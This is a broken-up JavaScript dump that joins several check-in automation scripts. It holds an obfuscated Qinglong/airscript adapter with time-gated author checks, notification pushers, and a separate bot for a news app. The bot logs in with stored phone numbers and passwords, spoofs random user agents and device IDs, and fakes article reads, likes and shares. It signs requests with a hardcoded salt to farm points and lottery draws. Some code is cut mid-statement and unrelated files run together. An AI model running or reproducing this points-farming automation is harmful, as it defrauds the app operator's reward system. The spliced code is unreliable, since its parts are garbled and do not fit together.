_0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + // area = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/wanan?type=json" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.json() + // console.log(resp) + content = "💤 " + resp["content"] + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i { + await main(); +})().catch((e) => {$.log(e)}).finally(() => {$.done({});}); + +async function main() { + console.log('\n频道:https://pd.qq.com/s/btv4bw7av\nTL库:https://github.com/3288588344/toulu.git\n免费高速流量卡推荐:https://hk.yunhaoka.cn/#/pages/micro_store/index?agent_id=669709\n') + if (!WangChao) { + console.log("先去boxjs填写账号密码") + await sendMsg('先去boxjs填写账号密码'); + return + } + Utils = await loadUtils(); + let arr = WangChao.split("/"); + for (const item of arr) { + console.log("随机生成UA") + let randomUA = generateRandomUA(); + ua = randomUA.ua; + commonUa = randomUA.commonUa; + deviceId = randomUA.uuid; + console.log(ua) + console.log(commonUa) + phone_number = item.split("&")[0] + password = item.split("&")[1] + console.log(`用户:${phone_number}开始任务`) + console.log("获取sessionId") + let initSession = await commonPost('/api/account/init'); + sessionId = initSession.data.session.id; + console.log(sessionId) + console.log("获取signature_key") + let init = await initGet(`/web/init?client_id=${clientId}`) + signature_key = init.data.client.signature_key; + console.log(signature_key) + console.log("获取code") + let credential_auth = await passportPost('/web/oauth/credential_auth') + if (!credential_auth.data) { + console.log(credential_auth.message) + continue + } + let code = credential_auth.data.authorization_code.code; + console.log(code) + console.log("登录") + let login = await commonPost('/api/zbtxz/login',`check_token=&code=${code}&token=&type=-1&union_id=`) + console.log('登录成功') + accountId = login.data.session.account_id; + sessionId = login.data.session.id; + console.log("————————————") + console.log("开始签到") + let sign = await commonGet('/api/user_mumber/sign') + console.log(`签到获得:${sign.data.signExperience}积分`) + console.log("————————————") + console.log("开始任务") + let readFinish = true; + let likeFinish = true; + let shareFinish = true; + let taskList = await commonGet('/api/user_center/task?type=1¤t=1&size=20') + for (let task of taskList.data.list) { + console.log(`任务:${task.name}`) + if (task.completed == 1) { + console.log(`任务已完成`) + continue; + } + console.log(`任务进度:${task.finish_times}/${task.frequency}`) + if (task.name == '使用本地服务') { + for (let i = task.finish_times; i < task.frequency; i++) { + let doTask = await commonPost(`/api/user_mumber/doTask`,`memberType=6&member_type=6`) + console.log(`任务完成获得:${doTask.data.score_notify.integral}积分`) + } + } + if (task.name == '新闻资讯阅读') { + readFinish = false; + } + if (task.name == '新闻资讯点赞') { + likeFinish = false; + } + if (task.name == '分享资讯给好友') { + shareFinish = false; + } + } + if (!readFinish || !likeFinish || !shareFinish) { + let articleList = await commonGet('/api/article/channel_list?channel_id=639abec5e305b418fc469e3b&isDiFangHao=false&is_new=true&list_count=0&size=20') + for (const article of articleList.data.article_list) { + let articleId = article.id; + if (!readFinish) { + let read = await commonGet(`/api/article/read_time?channel_article_id=${articleId}&is_end=true&read_time=3051`) + if (read.data) { + console.log(`阅读成功`) + } else { + console.log(`文章已经阅读过了`) + } + } + if (!likeFinish) { + let like = await commonPost(`/api/favorite/like`,`action=true&id=${articleId}`) + if (like.data) { + console.log(`点赞成功`) + } else { + console.log(`文章已经点赞过了`) + } + } + if (!shareFinish) { + let share = await commonPost(`/api/user_mumber/doTask`,`memberType=3&member_type=3&target_id==${articleId}`) + if (share.data) { + console.log(`分享成功`) + } else { + console.log(`文章已经分享过了`) + } + } + } + } + console.log("————————————") + console.log('阅读抽奖') + readCookie = '' + readCookie = await loginGet(`/prod-api/user-read/app/login?id=${accountId}&sessionId=${sessionId}&deviceId=${deviceId}`) + console.log('获取登录cookie') + console.log(readCookie) + let readList = await readGet(`/prod-api/user-read/list/${getCurrentDate()}`) + if (readList.data.completedCount == readList.data.sum) { + console.log('阅读已经完成') + } else { + for (const article of readList.data.articleIsReadList) { + if (article.isRead) { + continue + } + let time = Date.now(); + let signature = Utils.md5(`&&${article.id}&&TlGFQAOlCIVxnKopQnW&&${time}`) + let read = await readGet(`/prod-api/already-read/article?articid=${article.id}×tamp=${time}&signature=${signature}`); + console.log(read.msg) + } + } + let lotteryCount = await readGet(`/prod-api/user-read-count/count/${getCurrentDate()}`); + lotteryCookie = '' + lotteryCookie = await lotteryLoginGet(`/tzrb/user/loginWC?accountId=${accountId}&sessionId=${sessionId}`) + console.log('获取抽奖cookie') + console.log(lotteryCookie) + let priceList = await lotteryGet('/tzrb/awardUpgrade/list?activityId=67'); + let priceArr = priceList.data; + for (let i = 0; i < lotteryCount.data; i++) { + let lottery = await lotteryPost(`/tzrb/userAwardRecordUpgrade/saveUpdate`,'activityId=67&sessionId=undefined&sig=undefined&token=undefined') + const index = priceArr.findIndex(e => e.id == lottery.data); + console.log(`抽奖获得:${priceArr[index].title}`) + } + console.log("————————————") + console.log("查询积分") + let detail = await commonGet('/api/user_mumber/account_detail') + console.log(`拥有积分:${detail.data.rst.total_integral}\n`) + notice += `用户:${phone_number} 积分:${detail.data.rst.total_integral}\n` + } + if (notice) { + await sendMsg(notice); + } +} + +async function initGet(url) { + return new Promise(resolve => { + const options = { + url: `https://passport.tmuyun.com${url}`, + headers : { + 'Connection': 'Keep-Alive', + 'Cache-Control': 'no-cache', + 'X-REQUEST-ID': generateUUID(), + 'Accept-Encoding': 'gzip', + 'user-agent': ua, + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function passportPost(url) { + let params = getBody(); + return new Promise(resolve => { + const options = { + url: `https://passport.tmuyun.com${url}`, + headers : { + 'Connection': 'Keep-Alive', + 